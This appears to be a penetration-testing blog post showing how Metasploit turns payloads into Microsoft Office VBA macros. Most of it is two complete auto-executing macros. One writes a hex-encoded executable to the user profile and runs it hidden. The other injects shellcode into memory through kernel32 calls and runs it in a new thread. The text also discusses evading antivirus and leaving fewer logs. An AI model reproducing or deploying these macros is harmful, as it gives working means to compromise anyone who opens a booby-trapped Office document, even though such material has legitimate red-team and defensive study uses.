Metasploit has for years supported encoding payloads into VBA code. (VBA, or Visual Basic for Applications, is the language that Microsoft Office macros are written in.) Macros are great for pentesters, since they don’t rely on a specific version, and they are a supported method of code execution that most people don’t realize and are likely to allow. In the latest version of office, all a user has to do is to click one button, and they’ll be owned:
The Metasploit generated macro code looks like this:
Sub Auto_Open()
Hkmyg12
End Sub
Sub Hkmyg12()
Dim Hkmyg7 As Integer
Dim Hkmyg1 As String
Dim Hkmyg2 As String
Dim Hkmyg3 As Integer
Dim Hkmyg4 As Paragraph
Dim Hkmyg8 As Integer
Dim Hkmyg9 As Boolean
Dim Hkmyg5 As Integer
Dim Hkmyg11 As String
Dim Hkmyg6 As Byte
Dim Euilajldnk as String
Euilajldnk = "Euilajldnk"
Hkmyg1 = "MaqXqyxUGh.exe"
Hkmyg2 = Environ("USERPROFILE")
ChDrive (Hkmyg2)
ChDir (Hkmyg2)
Hkmyg3 = FreeFile()
Open Hkmyg1 For Binary As Hkmyg3
For Each Hkmyg4 in ActiveDocument.Paragraphs
DoEvents
Hkmyg11 = Hkmyg4.Range.Text
If (Hkmyg9 = True) Then
Hkmyg8 = 1
While (Hkmyg8 < Len(Hkmyg11))
Hkmyg6 = Mid(Hkmyg11,Hkmyg8,4)
Put #Hkmyg3, , Hkmyg6
Hkmyg8 = Hkmyg8 + 4
Wend
ElseIf (InStr(1,Hkmyg11,Euilajldnk) > 0 And Len(Hkmyg11) > 0) Then
Hkmyg9 = True
End If
Next
Close #Hkmyg3
Hkmyg13(Hkmyg1)
End Sub
Sub Hkmyg13(Hkmyg10 As String)
Dim Hkmyg7 As Integer
Dim Hkmyg2 As String
Hkmyg2 = Environ("USERPROFILE")
ChDrive (Hkmyg2)
ChDir (Hkmyg2)
Hkmyg7 = Shell(Hkmyg10, vbHide)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
The main body of the code relies on finding a long string of hex bytes, such as Euilajldnk in the main document body, which is then decoded to binary, and written out to an exe file in the %USERPROFILE% directory. The macro then starts the executable with the Shell function.
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00...
This approach has some advantages, such as that the shell will not die when the program is closed, but it not ideal for a number of reasons. Dropping and starting an executable is a big chance to trigger AV, create a suspicious file and process, and possibly leave more logs to clean up. This code requires a large block of suspicious text be placed in the body of the document, where it might be noticed by the user.
So I wrote a different method, using imported Windows API functions to execute the shellcode directly from memory. I import the VirtualAlloc, RtlMoveMemory, and CreateThread functions from kernel32.dll and directly execute shellcode in a new thread. With this approach, the data is much smaller, since we only include the shellcode itself, not an entire executable, and doesn’t require data inserted in the document itself. We do not execute a new process or create a new executable. The code will look like this (with usage):
msf > use payload/windows/exec
msf payload(exec) > set CMD calc
CMD => calc
msf payload(exec) > set EXITFUNC thread
EXITFUNC => thread
msf payload(exec) > generate -t vba
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long
#EndIf
Sub Auto_Open()
Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
#If Vba7 Then
Dim Xlbufvetp As LongPtr
#Else
Dim Xlbufvetp As Long
#EndIf
Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
Wyzayxya = Hyeyhafxp(Zolde)
Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
Next Zolde
Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
And after writing this, I realized that Didier Stephens has already done just about the same thing here in 2008: http://blog.didierstevens.com/2008/10/23/excel-exercises-in-style/
Oh well, anyway, now it will soon be is available to all of Metasploit world. Here’s an example of a simple generated .xls calc.xls.
